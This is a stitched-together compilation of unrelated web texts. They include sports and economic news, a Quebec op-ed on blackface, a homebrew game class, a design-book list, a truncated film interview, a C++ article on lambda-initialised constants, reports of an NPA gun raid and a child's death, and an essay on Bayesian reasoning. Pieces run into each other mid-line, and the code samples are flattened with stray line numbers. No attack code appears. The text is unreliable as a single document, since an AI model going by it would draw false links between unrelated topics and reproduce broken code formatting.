Barclay said the seal’s motives for entering the highway in the first place were unclear.
San Francisco Chronicle staff writer Kimberly Veklerov contributed to this story.
Kale Williams is a San Francisco Chronicle staff writer. E-mail: kwilliams@sfchronicle.comCollege of Cuisine
Adventure is hungering work. Most, less fortune adventurers survive on rations and foraging alone. A party with a bard of cuisine in it never sleeps hungry. Some Bards inspire with words, but bards of this college inspire with good, hearty meals.
Bonus profiencies
When you join the College of Cuisine at 3rd level, you become proficient in Cook's Utensils and Brewer's Supplies. If you are already proficient in any of these tools, you made add double your proficiency bonus to them.
A Fitting Meal
Also at 3rd level, you can expend one of your Bardic Inspiration die to infuse some food in your meal with magical effects. The meal can be made for a number of creatures equal to your Bard level divided by 4. The meal takes 1 hour to prepare, and 1 hour to consume, For each of these abilities, an unwilling target must make a Constitution saving throw or succumb to the effect. On a sucessful save the target is unaware that an effect was present.
Hearty
Any creature partaking in the meal increases their hitpoint maximum by 2d6. This die increases to 2d8 at 9th level, 2d10 at 13th level, and 2d12 at 17th level
Rotten
The target takes 4d6 necrotic damage. This die increases to 4d8 at 9th level, 4d10 at 13th, and 4d12 at 17th level
Contaminated
Any creature partaking in the meal suffers the Poisoned condition
Irrisistable
Any creature partaking in the meal is charmed by you for 1 hour.
Steeling
Any creatures partaking in the meal is immune to being charmed or frightened for 24 hours
Cleansing
Any creatures partaking the meal gains the effects of a greater restoration spell
Taste Test
At 6th level, you gain proficiency in Constitution saving throws, and are immune to the Poisoned condition
A Grand Feast
At 14th level, you can expend a use of your Bardic Inspiration die to cast hero's feast with only half of the material componentsBradley Wiggins' withdrawal from the 2013 Giro d'Italia came as little surprise to most after the designated Sky leader slowly but surely dropped down the standings after crashes, illness and subsequent time losses ended his dreams of overall victory in the Italian three-week race. Related Articles Illness forces Wiggins on the defensive at the Giro d'Italia
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Wiggins left Italy after making the decision to withdraw that was backed by team management and medical staff following his struggle to finish with the main group on Stage 12 - won by compatriot Mark Cavendish (Omega Pharma - Quick Step). The 2012 Tour de France champion crossed the line 3:17 behind his former teammate on what should have been a relatively standard finish for the Sky leader.
His worsening condition meant that he was forced to make a tough decision; to continue racing the Giro without any hope of challenging for the overall title and risk longer-term health damage or to quit, head home for treatment and refocus on defending his Tour de France crown. He chose the later despite the heart-breaking feeling of leaving the race he had expected to challenge for the win.
"I'm disappointed, but some things you can't control," Wiggins told Sky Italia before flying back to the United Kingdom. "It's really disappointing to stop in this way because we came here for so much more.
"It's how long you can keep fighting for before you say the GC has gone now," he added.
Continuing at the Giro when not at full strength and with the weight of expectation on one's shoulders is not an easy battle to win and if Wiggins had any chance of defeating the likes of Vincenzo Nibali (Astana) and Cadel Evans (BMC), he would need to be 100 percent fit and healthy.
"It's hard to be part of the Giro just to be a number because everybody expected so much. There are a lot of riders in the peloton at the moment that are sick, but as the winner of the Tour, you can't hide away and get over it."
With Wiggins thought to be at the Giro with high hopes for the general and Chris Froome aiming at the Tour - with a leadership title - it will now be an interesting scenario to watch as both riders look to be at their best come July. Last year's overall Tour champion will obviously look to prove the pundits wrong, who criticised his descending and ability to tackle the steep gradients, at the Tour while Froome may also may challenge for the top spot by his elder teammate.
"The decision was made with a view to being back to full strength for the Tour, so I think had we continued in this Giro, the risk was that I did more damage long-term, so I think the team have taken the decision to put a stop to it now and start thinking about getting back to full strength for the Tour."Go back to 2007. André Boisclair, then leader of the Parti Québécois, was reminiscing to a group of students about his days at Harvard.
He marvelled at the number of students of Asian heritage he encountered there: "I was surprised to see that on campus, about a third of the undergraduate students had slanted eyes." The anglophone media could not conceive that in this province, in this culture, in this language, using "les yeux bridés" to describe an Asian person is not a racial slur. A media firestorm was born.
Mr. Boisclair's political opponents made no issue of the comment. In La Presse, to show how absurd the complaints were, I offered this example: There is a restaurant in Montreal called "Les Bridés." It's owned by Québécois of Vietnamese descent.
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News flash: Cultural codes, and hence cultural taboos, sometimes differ from people to people and society to society.
The past weeks, another of these controversies, mostly fuelled by anglo media and commentators, engulfed Quebec. This time, it was about blackface at Montreal's Théâtre du Rideau Vert, where the farcical end-of-year review featured a white actor, in black makeup, portraying the hugely popular Montreal Canadiens star P.K. Subban, who was a big newsmaker in 2014.
The skit raised no eyebrows from French reviewers. That's because blackface, used in the detestable minstrelsies that used to portray stereotypical and generic versions of blacks as dimwitted, are not as well known in French Quebec as they are in English-speaking North America. The term blackface doesn't even have a French equivalent.
The Rideau Vert controversy was a replay of the 2013 Gala Les Olivier controversy. When philosopher king and comedian Boucar Diouf, of Senegalese descent, was portrayed in blackface by colleague Mario Jean (who also played other Quebec comedians in the feature), no concerns were raised by the province's French media. The outrage came first from anglo media outlets and commentators. Mr. Diouf himself confessed to not knowing about the blackface stigma; he said he was not offended.
I wrote about Rideau Vert, highlighting that French Quebec sometimes has different cultural codes and taboos than you find in the United States and the rest of Canada. I offered the Charlie Hebdo covers as an example: News outlets in France and Quebec published them (offence-takers be damned) while anglo media in Canada, Britain and the United States mostly balked.
I also argued that while using blackface to stereotype an entire race is indeed idiotic, we may be confusing plate and meal when makeup is used to impersonate someone in a positive way, as in the cases of Mr. Subban and Mr. Diouf. Just as sometimes a cigar is just a cigar, black makeup is sometimes just black makeup.
The criticism in my inbox and on social media – levelled in English, mainly – was tough. But, in hockey parlance, the hits were mostly legal. I understand that discussions about race are going to be lively.
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Globe theatre critic Kelly Nestruck was the only commentator of note who gave me a cross-check to the face. He distorted my 925-word column into a one-sentence quote that came within an inch of calling me a racist, and then, in a francophobic fashion, painted Quebeckers who didn't object as backward dimwits.
But hey, he flashed his credentials: Mr. Nestruck has francophones in his family, hailing from Quebec.
Guess how patronizing I would have sounded if I'd written that I have black friends. Then again, in the ROC commentariat, one can say stuff about Quebeckers that they wouldn't dare say about other people. Plus ça change …Posted by Lucas Cobb Design in Creative Resource, Design on July 8th, 2010 with 10 Comments
Design is a funny thing in that you can learn something new about it every day of your life. What better way to learn about design than by reading about it from other design professionals. I have come up with my list of top design books for beginner to advanced designers. These books are so full of knowledge it would be a shame not to check some of them out. Let me know if you have a favorite design book in the comments, I’m always looking to add one or two more to my library as well. Enjoy!
Top Design Books
1,000 Graphic Elements: Details for Distinctive Designs – Often, the small, delightful details make a piece shine, similar to the way unique buttons on a white shirt can give it an entirely new look.
Marks of Excellence – Finding the roots of trademarks in heraldry, potter’s marks, monograms, and other such ancient devices, this book traces the history of the corporate visual lexicon and produces a taxonomy of the commercial age.
Typography: Formation + Transformation – Rather than being eclipsed by new technologies, modern typography has become a powerful medium for visual experimentation and personal expression.
The Elements of Typographic Style – This lovely, well-written book is concerned foremost with creating beautiful typography and is essential for professionals who regularly work with typographic designs.
Paper Graphics: The Power of Paper in Graphic Design – Paper can be an elegant solution to the challenges of graphic design.
Experimental Formats and Packaging: Creative Solutions for Inspiring Graphic Design – EXPERIMENTAL FORMATS examines the shape and size of the designed page and reveals how decisions made at this initial stage of the design process have a huge impact on the finished design.
Type and Typography – While writing and alphabets go back thousands of years, the history of typography is a long, rich, and unique one-spanning from the movable type used to set Guttenberg’s 42-line Bible in 1455 to today’s 21st-century computer-designed typefaces.
Handwritten: Expressive Lettering in the Digital Age – An introduction by design historian Steven Heller places the contemporary work in a broader context of design.
Logo Font & Lettering Bible: A Comprehensive Guide to the Design, Construction and Usage of Alphabets and Symbols – This book is a hands-on guide to the entire process of making logos and fonts and even icons, all of which, essentially, start with the ability to draw letterforms.
A Smile in the Mind – This book gathers together the best examples of graphic wit over the past three decades.
Paperwork (Phaidon Colour Library) – hardcover won acclaim: this paperback edition will reach new audiences with a more affordable price tag and an excellent display of design works from around the world.
Typography Now: The Next Wave – First published in 1991 to wide acclaim, Typography Now: The Next Wave rapidly established itself as the one indispensable guide to new experimental typography.
Pen and Mouse: Commercial Art and Digital Illustration – Much has been said about how the computer has murdered creativity. More has been said about how everything that comes out of it, or looks like it came out of it, is great.
Business Cards: The Art of Saying Hello – Over 300 cards are grouped into sections reflecting different design approaches: Typography, Photography, Materials, Illustration and Found Objects.
David Carson: 2nd Sight: Grafik Design After the End of Print – While The End of Print showed the world Carson’s radical new approach, his rejection of the traditional ‘rules’ of communication, 2ndsight examines the creative process behind the work, and considers the broader implications of his intuitive approach to graphic design.
Soak Wash Rinse Spin – Soak Wash Rinse Spin investigates the cycles of the Tolleson Design creative process through a textual and graphic layering of information involving four phases: research (the intake of as much information as they can gather), collaboration (with the client and with the other members of the creative team), visual exploration (the workbook process, which includes refinements and the examination of multiple options), and environmental influences (consideration of the ultimate purpose of the solution).
Life Style – More manifesto than monograph, Life Style is the first book to document Bruce Mau’s creative process and studio practice. Written by Mau and designed by his firm, the book is a singular album of perceptive, always thought-provoking, and often playful statements about the visual and cultural trends that influence today’s design culture.
Los Logos – A book that is a definite ‘must have’ for each and every graphic designer in the world.
Tres Logos – Tres Logos is a state of the art visual encyclopedia on the current state and evolution of Logo Design.
The Creative Business Guide to Running a Graphic Design Business – This is the graphic design industry’s go-to guide for operating a successful business.
Graphic Design Solutions, Third Edition – Outlines step-by-step procedures readers can apply to solve design or advertising problems. Includes projects and exercises throughout.
Visual Workout: Creativity Workbook – This one-of-a-kind workbook for graphic designers, which may be used independently or in conjunction with Graphic Design Solutions, 2E by Robin Landa, will stimulate your imagination and enable you to flex your creative design muscles.
Business and Legal Forms for Graphic Designers (3rd Edition) – For designers who are about to set up their own office or for those who feel their design practices lack real organization, this book could be immensely helpful.
Graphic Artists Guild Handbook: Pricing & Ethical Guidelines (Graphic Artists Guild Handbook of Pricing and Ethical Guidelines) – Graphic Artists Guild Handbook: Pricing & Ethical Guidelines, 11th Edition is the industry bible, containing information all graphic artists and their clients need to buy and sell work in a totally professional manner.
Real World Print Production – Translating inspiration to the printed page has always been a challenge. The advent of desktop publishing granted new levels of power and control to the layout artist and graphic designer, but it hasn’t eliminated the traditional pitfalls.
Thinking with Type: A Critical Guide for Designers, Writers, Editors, & Students (Design Briefs) – This is a well-structured and well-written text with refreshing examples from a wide range of designers.
Color Design Workbook: A Real-World Guide to Using Color in Graphic Design – Color Design Workbook invites readers to explore color through the language of professionals. As part of the Workbook series, this book aims to present readers with the fundamentals of graphic design.
Design for Communication: Conceptual Graphic Design Basics – Text encourages students to develop and master the basic conceptual thinking and technical skills that distinguish graphic designers from desktop technicians.
How To Be a Graphic Designer Without Losing Your Soul – How should designers manage the creative process? What’s the first step in the successful interpretation of a brief? How do you generate ideas when everything just seems blank? How to be a graphic designer offers clear, concise guidance for these questions, along with focused, no-nonsense strategies for setting up, running, and promoting a studio, finding work, and collaborating with clients.
The Anatomy of Design: Uncovering the Influences and Inspirations in Modern Graphic Design – An iconic collection of design work presented in fresh and useful format. The selections include all kinds of design work including posters, book and record covers, packages, catalog covers, and more.
Starting Your Career as a Freelance Illustrator or Graphic Designer – If you get overwhelmed by the image you may have of what the life of a freelance illustrator is like, read this book.
Fingerprint: The Art of Using Handmade Elements in Graphic Design – Inside you’ll find examples of work that showcase a variety of design methods, including mixed media, illustration, letterpress, screenprinting and collage.
The Graphic Design Business Book – What graphic designers need is The Graphic Design Business Book, packed with directly relevant strategies for creating a business plan, managing a studio, presenting portfolios, marketing on the Web, keep clients happy, and more, including sample contract forms and listings of professional organizations””all contributed by experts in their fields.
Notes on Graphic Design and Visual Communication – Notes on Graphic Design and Visual Communication is the most essential graphic design book written. Despite being very thin in quantity of pages, this book holds an enormous amount of graphic knowledge.
Type, Image, Message: A Graphic Design Layout Workshop -This book changes all it. It gives designers the practical know-how to combine type and image for dynamic effect as well as to use them in contrast to create tension and meaning in design.
Making and Breaking the Grid: A Graphic Design Layout Workshop – Making and Breaking the Grid is a comprehensive layout design workshop that assumes that to effectively break the rules of grid-based design one must first understand those rules and see them applied to real-world projects.
Publication Design Workbook: A Real-World Guide to Designing Magazines, Newspapers, and Newsletters – Readers will develop a clear understanding of publication design through a comprehensive and accessible workshop-style format.
U&lc : Influencing Design & Typography – U&lc magazine (Upper & lower case) was a defining voice in graphic design worldwide between 1970 and 1999. It was in some ways a lifestyle magazine for the desgin community providing a fascinating intersection of popular cultural and graphic design in the last quarter of the 20th century.
Layout Workbook: A Real-World Guide to Building Pages in Graphic Design – More than a collection of great examples of layout, this book is an invaluable resource for students, designers, and creative professionals who seek design understanding and inspiration.
Wolfgang Weingart: My Way to Typography – The book itself is a lesson on layout and impeccable typesetting. Mr weingart lead us in a trip through tipographics arts, the book is an outstanding example of engineering freedoom, A R T. I flip the book for less than 2 minutes,enough to know this is the kind of book you have and you travel with it every once in a while. a book with an incredible echo.
The Designers Complete Index (Boxed Set) – This super-cool boxed set contains all three of Jim Krause’s best-selling “Index” books, including Idea Index (graphic effects and typographic treatments), Layout Index (your secret weapon for effective, dynamic layouts) and Color Index (over 1100 color combinations with CMYK and RGB formulas). Each volume is packed with hundreds of stimulating ideas, creative solutions and practical instructions.
Paul Rand: A Designer`s Art – This is not a tutorial or a how to, but a why. Why things work, why they don’t, and why it is important to know about its history. Learn the importance of this medium, its impact on industry, and its place in the arts.
Design with Type – Design with Type takes the reader through a study of typography that starts with the individual letter and proceeds through the word, the line, and the mass of text.
Conclusion
No matter how much you know about design there is still so much out there to learn. These books are chalk full of knowledge just waiting to be read. If you can add even one of these to your design library, do it. Reading is the only way to get ahead in this game and these are the tools that will help you create far into the future.One of the better animated movies of 2013 is definitely DreamWorks’ Turbo. Boasting a star-studded cast including Ryan Reynolds, Paul Giamatti, and Michael Peña, it tells the story of a small snail who dreams of racing in the Indy 500, despite the fact that all the odds are stacked against him.
I reviewed the film over the summer and thought for a flick about snails it definitely wasn’t sluggish, with a fast-paced story and some great voice acting propelling it along. Certainly one worth watching, for both kids and adults.
In honor of Turbo‘s release on Blu-Ray, I had the opportunity to talk with Ben Schwartz, who voices Skidmark (the snail with the goofy eyes in the picture above) in the film. While it was a bit hard to stay on topic due to how funny Ben is, we found a way to discuss what drew him to a movie about racing snails, how he enjoys doing voice acting compared to live-action acting, and much more.
Check out the full interview below and enjoy!
WGTC: I’ll admit, when I first heard about Turbo, a movie with racing snails and all, I was a little skeptical, but then when I saw it, it was actually really funny and really good. Why do you think it worked so well?
Schwartz: Well first of all, the cast is insanely talented so I think if you put some fun words in front of those guys, you’re going to get something great. But I think it works because it kind of transcends kids and adults and it brings in people who love racing.
The whole story is basically about a guy who feels like he doesn’t belong with other people and he has this big dream. It’s like that age-old story of following your dream, pushing through everything to make sure that thing happens and finding people who are like-minded. Like me, going to UCB and finding those people that I could perform comedy with, |
to guard against race conditions.
Here is a generic example of reading a variable that is protected by a mutex:
1 2 3 4 5 6 Object * instance ; std :: mutex obj_mutex ; { std :: lock_guard < std :: mutex > lock ( obj_mutex ); instance = & protected_variable ; }
The code sample above suffers from the following:
The variable instance starts off as being uninitialized (or in the above case, initialzed to what can be considered a bogus value: nullptr).
starts off as being uninitialized (or in the above case, initialzed to what can be considered a bogus value: nullptr). Type information is lost: If instance could be a reference instead of a pointer, nullptr errors would never happen.
Using the const liffy pattern ameliorates the situation:
1 2 3 4 const auto & instance = [ & ] { std :: lock_guard < std :: mutex > lock ( obj_mutex ); return protected_variable ; }()
In the above code sample, instance is a constant reference that is initialized to the required value. All the issues mentioned in the first example have been solved.
Creating Short Helper Functions
Assume we have a Shape class that is sub-classed with different types of shapes (e.g. circle, square). Given shapes, a collection of Shape objects, a render function will only draw red square or blue circles. That render function could look like this:
1 2 3 4 5 6 7 8 for ( auto && shape : Shapes ) bool shouldDraw = false ; switch ( shape. type ) { case ShapeType :: Square : shouldDraw = shape. color () == Color :: red ; break ; case ShapeType :: Circle : shouldDraw = shape. color () == Color :: blue ; break ; } if ( shouldDraw ) Draw ( shape ); }
In the above code snippet, the variable shoulddraw is initialized to false (which becomes the default of the switch statement). The false value is then overwritten with the correct logic in the switch statement. But why intialize shoulddraw to false?
At the time of intialization, it is not known what the state of shoulddraw should be. Setting it to false does not really make sense.
does not really make sense. A programmer is then forces to read the proceeding four lines of the switch statement to make sense of what shoulddraw is. So in effect, one has to read these lines just to make sense of shoulddraw.
Seeing as a lambda function is really an anonymous helper function, the const liffy pattern can help here as well:
1 2 3 4 5 6 7 8 9 10 11 for ( auto && shape : Shapes ) const bool shouldDraw = [ & ] { switch ( shape. type ) { case ShapeType :: Square : return shape. color () == Color :: red ; case ShapeType :: Circle : return shape. color () == Color :: blue ; default : return false ; } }(); if ( shouldDraw ) Draw ( shape ); }
With the const liffy pattern, shoulddraw becomes a constant. The code is not only cleaner by using false in the default of the switch statement, but it is also easier to reason about and understand.
The const liffy pattern is actually just the result of an anonymous block. It is done all the time in languages like scala and is inspired by the discipline of functional languages. Using it allows for immutable state with all its advantages.
Thank you for printing this article. Please do not forget to come back to http://doctrina.org for fresh articles.Melbourne Victory Championship-winning defender Matthieu Delpierre has announced his retirement from professional football.
The 35-year-old informed the playing group on Tuesday of his decision to call time on a glittering career that has spanned 17 seasons.
Delpierre will represent Victory in its final AFC Champions League group game against Gamba Osaka next week, and in the Round of 16, should the club progress that far.
"It was a difficult decision for me to make, but I believe now is the right time to finish my career," said Delpierre.
"I want to thank everyone at Melbourne Victory for making this my home for the last two years, and I will never forget the time I spent here.
"It has been an honour to represent this club.
"My teammates have been a pleasure to play with, Kevin Muscat and the coaching staff have been extremely supportive, and the Victory fans have shown me the greatest respect.
"Hopefully, I can continue to contribute in the next few weeks and help the team qualify for the next stage of the Champions League."
Delpierre, who has made 53 appearances in all competitions for Victory over the past two seasons, is widely regarded as one of the best central defenders the Hyundai A-League has seen.
He was a key member of the team that completed the 2014/15 Premiership-Championship double, despite missing a large portion of the season through injury.
Delpierre missed just one Hyundai A-League match in 2015/16 and performed at a consistently high level throughout the campaign.
"Matthieu has been a superb contributor to Melbourne Victory over the last two seasons," said Victory head coach Kevin Muscat.
"Since the day he arrived, he has demonstrated true professionalism and provided a fine example to our playing group, both on and off the pitch.
"He has been a pleasure to coach. He will be missed by everyone at the club, but definitely not forgotten.
"We wish him all the best in his retirement and congratulate him on everything he has achieved in a fine career."
Before arriving at Victory, Delpierre was most famous for his time at VfB Stuttgart in Germany, where he won the Bundesliga in 2006/07 and captained the side for three years.
He also spent five years at French club Lille and had stints at German side Hoffenheim and Holland's FC Utrecht.
Tickets for Victory's ACL home game against Gamba Osaka on Tuesday, May 3 are available by clicking here.NPA makes biggest haul of guns in raid on Butuan City security agency
By Franklin A. Caliguid, Inquirer Mindanao, Wednesday, April 25th, 2012
BUTUAN CITY, Philippines—The National Democratic Front said Wednesday that Monday’s raid by New People’s Army guerrillas on the headquarters of a security agency serving mining companies here resulted in the largest firearms haul for the rebels in years.
While NDF Mindanao spokesman Jorge Madlos did not say just how large the haul from the Earth Savers Security Agency at Aruville Subdivision in Barangay Libertad here was, police said the raiders carted away 46 AK-47 rifles, 3 M-14 sniper rifles, 10 shotguns, 10 9-millimeter pistols and an unspecified amount of ammunition.
Superintendent Martin Gamba, spokesperson of the Caraga police, said at least 20 NPA rebels in two vehicles arrived at the security agency’s headquarters, which is about two kilometers from the regional police headquarters, at around 8:30 p.m.
Gamba said the rebels gained entrance by posing as National Bureau of Investigation agents and presenting search warrants. They then disarmed the four guards on duty, he said.
Gamba admitted that the police failed to catch up with the fleeing rebels but an operation against them was continuing as of Wednesday.
“Investigations are also ongoing,” Gamba said.
Madlos, also known as Ka Oris, said in a statement that the volume of guns the rebels seized was so large it was considered the NPA’s biggest haul in years.
He said the NPA decided to target the security agency, owned by retired police official Cesar Nario, because its guards were involved in the harassment of oppositors to a Chinese-owned mining company in Trento, Agusan del Sur.
“The security agency committed rampant abuses and harassment against civilians and lumads, who are opposed to mining,” Madlos told the Inquirer.
Madlos also branded the security agency as a “private army in disguise.”
Monday’s raid came barely a week after the NDF celebrated its 39th anniversary on April 24.
The NPA is known to carry similar raids when an organization under the Communist Party of the Philippines observes important events such as anniversaries.
On April 9, just 11 days after the NPA anniversary on March 29, communist rebels posing as soldiers also stormed the police station of Tigbao in Zamboanga del Sur and seized at least seven M16 rifles, an M14 assault rifle and a 9-mm pistol.
On December 16, a few days before the CPP’s anniversary on December 26, five soldiers were killed while two others were injured when NPA rebels stormed a military detachment in Tandag, Surigao del Sur.
————————————————ETOWAH COUNTY, Alabama -- Savannah Hardin, the 9-year-old girl who died Monday at Children's of Alabama, was forced to run for three straight hours after lying to her grandmother about eating a candy bar, a spokeswoman for the Etowah County sheriff's Office said.
It was that punishment that led to extreme dehydration and ultimately Savannah's death, authorities said.
Joyce Hardin Garrard, 46, and Jessica Mae Hardin, 27, were both charged with murder in connection to the death. Joyce Garrard is the child's grandmother and Jessica Hardin is her step-mother.
Social workers are at Carlisle Elementary School, where Savannah was a student, to help her classmates cope with the loss, said Etowah County schools superintendent Alan Cosby.
"They are doing as well as can be expected," Cosby said today.
Savannah's desk has been turned into a makeshift memorial where students can leave notes in remembrance of the girl, Cosby said. The notes will be collected and given to Savannah's father, he said.Once upon a time, a younger Eliezer had a stupid theory. Eliezer 18 was careful to follow the precepts of Traditional Rationality that he had been taught; he made sure his stupid theory had experimental consequences. Eliezer 18 professed, in accordance with the virtues of a scientist he had been taught, that he wished to test his stupid theory.
This was all that was required to be virtuous, according to what Eliezer 18 had been taught was virtue in the way of science.
It was not even remotely the order of effort that would have been required to get it right.
The traditional ideals of Science too readily give out gold stars. Negative experimental results are also knowledge, so everyone who plays gets an award. So long as you can think of some kind of experiment that tests your theory, and you do the experiment, and you accept the results, you've played by the rules; you're a good scientist.
You didn't necessarily get it right, but you're a nice science-abiding citizen.
(I note at this point that I am speaking of Science, not the social process of science as it actually works in practice, for two reasons. First, I went astray in trying to follow the ideal of Science—it's not like I was shot down by a journal editor with a grudge, and it's not like I was trying to imitate the flaws of academia. Second, if I point out a problem with the ideal as it is traditionally preached, real-world scientists are not forced to likewise go astray!)
Science began as a rebellion against grand philosophical schemas and armchair reasoning. So Science doesn't include a rule as to what kinds of hypotheses you are and aren't allowed to test; that is left up to the individual scientist. Trying to guess that a priori, would require some kind of grand philosophical schema, and reasoning in advance of the evidence. As a social ideal, Science doesn't judge you as a bad person for coming up with heretical hypotheses; honest experiments, and acceptance of the results, is virtue unto a scientist.
As long as most scientists can manage to accept definite, unmistakable, unambiguous experimental evidence, science can progress. It may happen too slowly—it may take longer than it should—you may have to wait for a generation of elders to die out—but eventually, the ratchet of knowledge clicks forward another notch. Year by year, decade by decade, the wheel turns forward. It's enough to support a civilization.
So that's all that Science really asks of you—the ability to accept reality when you're beat over the head with it. It's not much, but it's enough to sustain a scientific culture.
Contrast this to the notion we have in probability theory, of an exact quantitative rational judgment. If 1% of women presenting for a routine screening have breast cancer, and 80% of women with breast cancer get positive mammographies, and 10% of women without breast cancer get false positives, what is the probability that a routinely screened woman with a positive mammography has breast cancer? 7.5%. You cannot say, "I believe she doesn't have breast cancer, because the experiment isn't definite enough." You cannot say, "I believe she has breast cancer, because it is wise to be pessimistic and that is what the only experiment so far seems to indicate." 7.5% is the rational estimate given this evidence, not 7.4% or 7.6%. The laws of probability are laws.
It is written in the Twelve Virtues, of the third virtue, lightness:
If you regard evidence as a constraint and seek to free yourself, you sell yourself into the chains of your whims. For you cannot make a true map of a city by sitting in your bedroom with your eyes shut and drawing lines upon paper according to impulse. You must walk through the city and draw lines on paper that correspond to what you see. If, seeing the city unclearly, you think that you can shift a line just a little to the right, just a little to the left, according to your caprice, this is just the same mistake.
In Science, when it comes to deciding which hypotheses to test, the morality of Science gives you personal freedom of what to believe, so long as it isn't already ruled out by experiment, and so long as you move to test your hypothesis. Science wouldn't try to give an official verdict on the best hypothesis to test, in advance of the experiment. That's left up to the conscience of the individual scientist.
Where definite experimental evidence exists, Science tells you to bow your stubborn neck and accept it. Otherwise, Science leaves it up to you. Science gives you room to wander around within the boundaries of the experimental evidence, according to your whims.
And this is not easily reconciled with Bayesianism's notion of an exactly right probability estimate, one with no flex or room for whims, that exists both before and after the experiment. It doesn't match well with the ancient and traditional reason for Science—the distrust of grand schemas, the presumption that people aren't rational enough to get things right without definite and unmistakable experimental evidence. If we were all perfect Bayesians, we wouldn't need a social process of science.
Nonetheless, around the time I realized my big mistake, I had also been studying Kahneman and Tversky and Jaynes. I was learning a new Way, stricter than Science. A Way that could criticize my folly, in a way that Science never could. A Way that could have told me, what Science would never have said in advance: "You picked the wrong hypothesis to test, dunderhead."
But the Way of Bayes is also much harder to use than Science. It puts a tremendous strain on your ability to hear tiny false notes, where Science only demands that you notice an anvil dropped on your head.
In Science you can make a mistake or two, and another experiment will come by and correct you; at worst you waste a couple of decades.
But if you try to use Bayes even qualitatively—if you try to do the thing that Science doesn't trust you to do, and reason rationally in the absence of overwhelming evidence—it is like math, in that a single error in a hundred steps can carry you anywhere. It demands lightness, evenness, precision, perfectionism.
There's a good reason why Science doesn't trust scientists to do this sort of thing, and asks for further experimental proof even after someone claims they've worked out the right answer based on hints and logic.
But if you would rather not waste ten years trying to prove the wrong theory, you'll need to essay the vastly more difficult problem: listening to evidence that doesn't shout in your ear.
(For the benefit of those in the audience who have not been following along this whole time: Even if you can't look up the priors for a problem in the Handbook of Chemistry and Physics—even if there's no Authoritative Source telling you what the priors are—that doesn't mean you get a free, personal choice of making the priors whatever you want. It means you have a new guessing problem which you must carry out to the best of your ability. If the mind, as a cognitive engine, could generate correct estimates by fiddling with priors according to whims, you could know things without looking them, or even alter them without touching them. But the mind is not magic. The rational probability estimate has no room for any decision based on whim, even when it seems that you don't know the priors. Similarly, if the Bayesian answer is difficult to compute, that doesn't mean that Bayes is inapplicable; it means you don't know what the Bayesian answer is. Bayesian probability theory is not a toolbox of statistical methods, it's the law that governs any tool you use, whether or not you know it, whether or not you can calculate it. As for using Bayesian methods on huge, highly general hypothesis spaces—like, "Here's the data from every physics experiment ever; now, what would be a good Theory of Everything?"—if you knew how to do that in practice, you wouldn't be a statistician, you would be an Artificial General Intelligence programmer. But that doesn't mean that human beings, in modeling the universe using human intelligence, are violating the laws of physics / Bayesianism by generating correct guesses without evidence.)
Added: Nick Tarleton says:
The problem is encouraging a private, epistemic standard as lax as the social one.
which pinpoints the problem I was trying to indicate much better than I did.Image copyright PA
The number of people out of work in the UK fell by 63,000 to 2.33 million in the three months to January 2014, according to official figures.
The unemployment rate now stands at 7.2% of the population, the Office for National Statistics (ONS) said.
The number of people in employment rose to a record 30.19 million, helped by a rise in the number of self-employed.
Average earnings also increased, with pay in the three months to January up 1.4% from a year earlier.
The number of employees in work fell by 60,000, but 211,000 more people were recorded as self-employed.
Media playback is unsupported on your device Media caption Esther McVey said the figures are going in the right direction
There was better news for young people, as the number of unemployed 16 to 24-year-olds stood at 912,000 in the three months to January, a drop of 29,000 and the lowest level since 2011.
In February, the number of people claiming Jobseeker's Allowance fell by 34,600 to 1.175 million. Over the course of a year, the number has dropped by 363,200.
'Improving economy'
Employment Minister Esther McVey said the overall fall in unemployment showed that "the growing economy is helping record numbers of people to find a job".
"The rise in employment is being fuelled by businesses and entrepreneurs across the country who are feeling increasingly confident with the improving economy," she added.
Prime Minister David Cameron tweeted: "Another significant fall in unemployment is a sign our long-term economic plan is working, providing security and chances for hard-working people."
But shadow work and pensions secretary Rachel Reeves disagreed, saying "long-term youth unemployment has doubled under David Cameron".
"It's clear tens of thousands of young people are not feeling any recovery at all," she said.
Image caption The North East has the highest rate of unemployment in the UK at 9.5%
"Today's figures also show that working people facing a cost-of-living crisis and that prices are still rising faster than wages under David Cameron."
Spending support
David Tinsley, an economist at BNP Paribas, said that while the employment figures were promising, there were some weak areas, pointing out that the rise in employment was down to the increase in the number of self-employed.
Media playback is unsupported on your device Media caption Rachel Reeves welcomed the fall, but said there were still areas of concern
He also noted that the average weekly hours worked by full-time UK employees was down by 0.2%.
However, Mr Tinsley added: "The pick-up in earnings growth and a decent rise in employment, alongside falling inflation, means the prospects for real income growth are looking better. That in turn can help support a more sustainable rise in consumer spending this year.
David Kern, chief economist at the British Chambers of Commerce, said that while youth unemployment had gone down, the rate was "still nearly three times the rate of unemployment as a whole".
Earnings "remain below inflation", he added.
Regional variation
The North East of England has the highest unemployment rate in the UK, at 9.5%. In the South East, where the rate is lowest, only 5.2% are out of work.
The unemployment rate in Scotland fell to 6.9%, in Wales it was 6.7% while in Northern Ireland it was 7.5%.
Just over 10% more men are employed than women in the UK, but the unemployment rate for men was higher than for women, with 7.4% of the male labour force out of work.
There were 159,000 fewer people employed in the public sector in December 2013, compared with the September figure. However, a large part of this reduction was due to the privatisation of Royal Mail.
The figures for unemployment in the three months to January are based on the Labour Force Survey, in which the ONS speaks to 60,000 households once a quarter, making it the country's biggest household survey.
The ONS is 95% confident that the unemployment figure is correct to plus or minus 81,000 people.
Recovery 'broadening'
Separately, the Bank of England released the minutes from the latest meeting of its Monetary Policy Committee.
The minutes showed that all nine MPC members voted earlier this month to keep interest rates at 0.5% and to keep the programme of quantitative easing unchanged at £375bn, as expected.
The MPC noted the recovery in the UK economy was widening beyond consumer spending.
"There were initial signs that the anticipated broadening from household to business spending might have already begun," the minutes said.
"Even so, there remained some way to go to ensure that the recovery was both balanced and sustainable."Contents show]
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– TBD Location – Northeastern part of Edgeville, outside of Deathmatch entrance, World 39
– Northeastern part of Edgeville, outside of Deathmatch entrance, World 39 Date and time
UTC Pacific Mountain Central Eastern UK Europe East Aus 9:00 pm
Sat, 28 Apr 1:00 pm
Sat, 28 Apr 2:00 pm
Sat, 28 Apr 3:00 pm
Sat, 28 Apr 4:00 pm
Sat, 28 Apr 9:00 pm
Sat, 28 Apr 10:00 pm
Sat, 28 Apr 8:00 am
Sun, 29 Apr
The event is over.
Requirements: High combat is recommended
High combat is recommended Drops distribution: Rewards Shop
This is a safe activity.
If you die, you will not lose any of your items.
